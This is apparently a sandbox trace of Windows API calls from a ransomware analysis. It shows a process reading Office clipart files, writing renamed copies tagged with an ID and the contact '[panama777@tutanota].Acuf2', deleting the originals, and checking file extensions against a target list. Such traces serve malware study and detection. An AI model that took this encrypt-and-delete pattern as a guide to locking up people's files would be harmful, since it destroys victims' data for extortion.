	[0257.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.888] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=11500) returned 1
	[0257.888] CloseHandle (hObject=0x358) returned 1
	[0257.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20
	[0257.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0257.889] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.889] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0257.889] GetLastError () returned 0x0
	[0257.889] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x2cec, lpOverlapped=0x0) returned 1
	[0257.910] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x2cf0, lpOverlapped=0x0) returned 1
	[0257.911] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.911] WriteFile (in: hFile=0x330, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.911] SetEndOfFile (hFile=0x330) returned 1
	[0257.911] CloseHandle (hObject=0x330) returned 1
	[0257.911] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.911] SetEndOfFile (hFile=0x358) returned 1
	[0257.914] CloseHandle (hObject=0x358) returned 1
	[0257.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.938] lstrlenW (lpString=".doc") returned 4
	[0257.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString=".docx") returned 5
	[0257.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.939] lstrlenW (lpString=".pdf") returned 4
	[0257.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString=".xls") returned 4
	[0257.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.939] lstrlenW (lpString=".xlsx") returned 5
	[0257.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.939] lstrlenW (lpString=".ppt") returned 4
	[0257.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.939] lstrlenW (lpString=".zip") returned 4
	[0257.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.939] lstrlenW (lpString=".rar") returned 4
	[0257.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString=".bz2") returned 4
	[0257.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString=".7z") returned 3
	[0257.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.939] lstrlenW (lpString=".dbf") returned 4
	[0257.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.939] lstrlenW (lpString=".1cd") returned 4
	[0257.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.939] lstrlenW (lpString=".jpg") returned 4
	[0257.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString=".doc") returned 4
	[0257.940] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString=".docx") returned 5
	[0257.940] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.940] lstrlenW (lpString=".pdf") returned 4
	[0257.940] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString=".xls") returned 4
	[0257.940] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.940] lstrlenW (lpString=".xlsx") returned 5
	[0257.940] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.940] lstrlenW (lpString=".ppt") returned 4
	[0257.940] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString=".zip") returned 4
	[0257.940] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.940] lstrlenW (lpString=".rar") returned 4
	[0257.940] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString=".bz2") returned 4
	[0257.940] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString=".7z") returned 3
	[0257.940] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString=".dbf") returned 4
	[0257.940] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString=".1cd") returned 4
	[0257.940] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63
	[0257.940] lstrlenW (lpString=".jpg") returned 4
	[0257.940] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.941] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.941] lstrlenW (lpString="BL00985_.WMF") returned 12
	[0257.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.941] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3768) returned 1
	[0257.941] CloseHandle (hObject=0x344) returned 1
	[0257.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x20
	[0257.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.941] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.941] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.942] GetLastError () returned 0x0
	[0257.942] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xeb8, lpOverlapped=0x0) returned 1
	[0257.943] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec0, lpOverlapped=0x0) returned 1
	[0257.944] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.944] WriteFile (in: hFile=0x320, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.944] SetEndOfFile (hFile=0x320) returned 1
	[0257.944] CloseHandle (hObject=0x320) returned 1
	[0257.944] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.944] SetEndOfFile (hFile=0x344) returned 1
	[0257.946] CloseHandle (hObject=0x344) returned 1
	[0257.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00985_.wmf")) returned 1
	[0257.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.947] lstrlenW (lpString=".doc") returned 4
	[0257.947] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.947] lstrlenW (lpString=".docx") returned 5
	[0257.947] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.947] lstrlenW (lpString=".pdf") returned 4
	[0257.947] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.947] lstrlenW (lpString=".xls") returned 4
	[0257.947] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.947] lstrlenW (lpString=".xlsx") returned 5
	[0257.947] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.947] lstrlenW (lpString=".ppt") returned 4
	[0257.947] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.947] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.947] lstrlenW (lpString=".zip") returned 4
	[0257.947] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.948] lstrlenW (lpString=".rar") returned 4
	[0257.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString=".bz2") returned 4
	[0257.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString=".7z") returned 3
	[0257.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString=".dbf") returned 4
	[0257.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString=".1cd") returned 4
	[0257.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString=".jpg") returned 4
	[0257.948] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString=".doc") returned 4
	[0257.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString=".docx") returned 5
	[0257.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0257.948] lstrlenW (lpString=".pdf") returned 4
	[0257.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString=".xls") returned 4
	[0257.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0257.948] lstrlenW (lpString=".xlsx") returned 5
	[0257.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0257.948] lstrlenW (lpString=".ppt") returned 4
	[0257.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0257.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.948] lstrlenW (lpString=".zip") returned 4
	[0257.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0257.949] lstrlenW (lpString=".rar") returned 4
	[0257.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0257.949] lstrlenW (lpString=".bz2") returned 4
	[0257.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0257.949] lstrlenW (lpString=".7z") returned 3
	[0257.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0257.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.949] lstrlenW (lpString=".dbf") returned 4
	[0257.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0257.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.949] lstrlenW (lpString=".1cd") returned 4
	[0257.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0257.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 63
	[0257.949] lstrlenW (lpString=".jpg") returned 4
	[0257.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0257.949] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0257.949] lstrlenW (lpString="BOAT.WMF") returned 8
	[0257.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.949] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3350) returned 1
	[0257.950] CloseHandle (hObject=0x344) returned 1
	[0257.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 0x20
	[0257.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.950] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.950] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0258.182] GetLastError () returned 0x0
	[0258.182] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xd16, lpOverlapped=0x0) returned 1
	[0258.184] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xd20, lpOverlapped=0x0) returned 1
	[0258.185] ReadFile (in: hFile=0x344, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.185] WriteFile (in: hFile=0x220, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0258.185] SetEndOfFile (hFile=0x220) returned 1
	[0258.185] CloseHandle (hObject=0x220) returned 1
	[0258.185] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.185] SetEndOfFile (hFile=0x344) returned 1
	[0258.187] CloseHandle (hObject=0x344) returned 1
	[0258.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boat.wmf")) returned 1
	[0258.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.374] lstrlenW (lpString=".doc") returned 4
	[0258.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.374] lstrlenW (lpString=".docx") returned 5
	[0258.374] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0258.374] lstrlenW (lpString=".pdf") returned 4
	[0258.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.374] lstrlenW (lpString=".xls") returned 4
	[0258.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.374] lstrlenW (lpString=".xlsx") returned 5
	[0258.374] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0258.374] lstrlenW (lpString=".ppt") returned 4
	[0258.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.374] lstrlenW (lpString=".zip") returned 4
	[0258.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.374] lstrlenW (lpString=".rar") returned 4
	[0258.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.374] lstrlenW (lpString=".bz2") returned 4
	[0258.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.374] lstrlenW (lpString=".7z") returned 3
	[0258.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString=".dbf") returned 4
	[0258.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString=".1cd") returned 4
	[0258.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString=".jpg") returned 4
	[0258.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString=".doc") returned 4
	[0258.375] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString=".docx") returned 5
	[0258.375] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0258.375] lstrlenW (lpString=".pdf") returned 4
	[0258.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString=".xls") returned 4
	[0258.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0258.375] lstrlenW (lpString=".xlsx") returned 5
	[0258.375] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0258.375] lstrlenW (lpString=".ppt") returned 4
	[0258.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.375] lstrlenW (lpString=".zip") returned 4
	[0258.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0258.375] lstrlenW (lpString=".rar") returned 4
	[0258.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString=".bz2") returned 4
	[0258.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0258.375] lstrlenW (lpString=".7z") returned 3
	[0258.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0258.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.376] lstrlenW (lpString=".dbf") returned 4
	[0258.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0258.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.376] lstrlenW (lpString=".1cd") returned 4
	[0258.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0258.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOAT.WMF") returned 59
	[0258.376] lstrlenW (lpString=".jpg") returned 4
	[0258.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0258.376] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0258.376] lstrlenW (lpString="BS00078_.WMF") returned 12
	[0258.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
